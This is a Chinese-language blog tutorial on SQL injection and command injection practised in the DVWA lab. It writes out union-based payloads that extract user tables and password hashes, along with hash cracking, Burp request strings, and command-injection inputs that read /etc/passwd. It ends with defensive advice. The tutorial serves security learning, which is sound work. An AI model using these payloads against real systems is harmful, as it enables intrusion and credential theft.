2.5、敲开大门:Web漏洞挖掘实战——从零入门SQL注入与命令注入

关键词:Web安全 SQL注入 命令注入 DVWA Burp Suite 漏洞挖掘

1. 引言:为何要学习漏洞挖掘?

在数字化时代,Web应用安全至关重要。SQL注入和命令注入作为OWASP Top 10中的常客,是攻击者最常用的攻击手段之一。通过实战理解这些漏洞的原理、挖掘方法和防御手段,是每一位安全研究员、开发者和运维人员的必修课。

本文将带你从零搭建靶场环境,一步步深入SQL注入与命令注入的实战挖掘,帮助你建立初步的Web漏洞挖掘能力。

2. 环境搭建:DVWA + 小皮面板

2.1 准备工作

2.2 安装步骤

  1. 安装小皮面板
    下载后按提示安装,注意安装路径不能包含中文

     2.确认系统位数
按 Win + R,输入 cmd 打开命令提示符,执行 systeminfo 查看系统类型。

    3.部署DVWA

  1. 下载DVWA压缩包,解压后放入小皮面板的 www 目录。

     4.配置文件重命名
进入 config 文件夹,将 config.inc.php.dist 复制并重命名为 config.inc.php。

 

      5.开启PHP扩展
在小皮面板中开启 allow_url_include 和 mysqli 扩展。

       6.初始化数据库
浏览器访问 http://127.0.0.1/DVWA-2.3/setup.php,点击 Create / Reset Database

 

  1. 7.登录DVWA
    使用默认账号 admin,密码 password 登录。

 

3. SQL注入实战

3.1 漏洞原理简介

SQL注入是由于程序未对用户输入进行充分过滤,导致攻击者可以执行恶意SQL语句,从而操纵数据库的一种漏洞。

3.2 手工注入流程

步骤1:判断注入类型

在SQL Injection页面输入 1',发现报错,说明存在字符型注入

原理分析:输入 1' 破坏了原SQL语句的引号闭合,形成 WHERE id='1'' 的无效语法,导致数据库报错。

 

步骤2:构造永真条件

输入 1' or 1=1#,成功爆出所有数据,确认漏洞存在。

 

步骤3:判断字段数

使用 order by 子句判断查询字段数:

  • 1' order by 2# → 正常
  • 1' order by 3# → 报错

结论:查询结果包含2个字段

 

步骤4:获取数据库信息

1' union select 1,database()#

得到当前数据库名:dvwa

 

步骤5:获取表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

得到表名:guestbook, users

 

步骤6:获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

得到users表的字段:user_id, first_name, last_name, user, password, avatar...

 

步骤7:提取数据

1' union select group_concat(user,0x3a,password),group_concat(first_name,0x3a,last_name) from users#

获取所有用户名、密码和姓名信息。

 

步骤8:密码破解

将获取的MD5哈希值通过在线工具(如cmd5.com)解密,得到明文密码。

 

3.3 使用Burp Suite辅助注入

配置Burp Suite

启动Kali中的Burp Suite,如遇Java版本问题,请更新Java版本。

 

抓包分析

  1. 配置浏览器代理,在SQL注入页面输入 1 并提交。
  2. 在Burp Suite的Proxy中截获请求,发送到Repeater模块。

 

在Repeater中构造Payload

  • 判断字段数

id=1' order by 3%23&Submit=Submit

  • 返回错误,确认字段数为2。

 

  • 获取数据库名

id=1' union select 1,database()%23&Submit=Submit

  • 得到数据库名 dvwa。

 

  • 绕过转义获取表名
    由于单引号被转义,将 'dvwa' 转为16进制 0x64767761:

id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761%23&Submit=Submit

  • 获取字段值
    通过类似方法逐步获取表中的所有数据。

 

4. 命令注入实战

命令注入与SQL注入原理类似,都是由于程序未过滤用户输入,导致系统命令被恶意执行。

典型Payload示例

  • 127.0.0.1 && whoami → 查看当前用户
  • 127.0.0.1 | net user → 查看系统用户
  • 127.0.0.1; cat /etc/passwd → 查看系统密码文件(Linux)

5. 防御建议

SQL注入防御

  1. 使用预编译语句(Prepared Statements)
  2. 严格的输入验证(白名单机制)
  3. 最小权限原则(数据库账户权限限制)
  4. Web应用防火墙(WAF)

命令注入防御

  1. 避免使用系统命令执行函数
  2. 使用白名单验证输入
  3. 对输入进行严格转义
  4. 使用更安全的替代方案

6. 总结

通过本次实战,我们学习了:

  • DVWA靶场环境的搭建与配置
  • SQL注入漏洞的原理与手工挖掘流程
  • Burp Suite在漏洞挖掘中的辅助应用
  • 命令注入的基本概念与防御方法

漏洞挖掘是一门需要理论与实践结合的技艺。在后续文章中,我们将深入探讨更多Web漏洞类型及其挖掘技巧。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值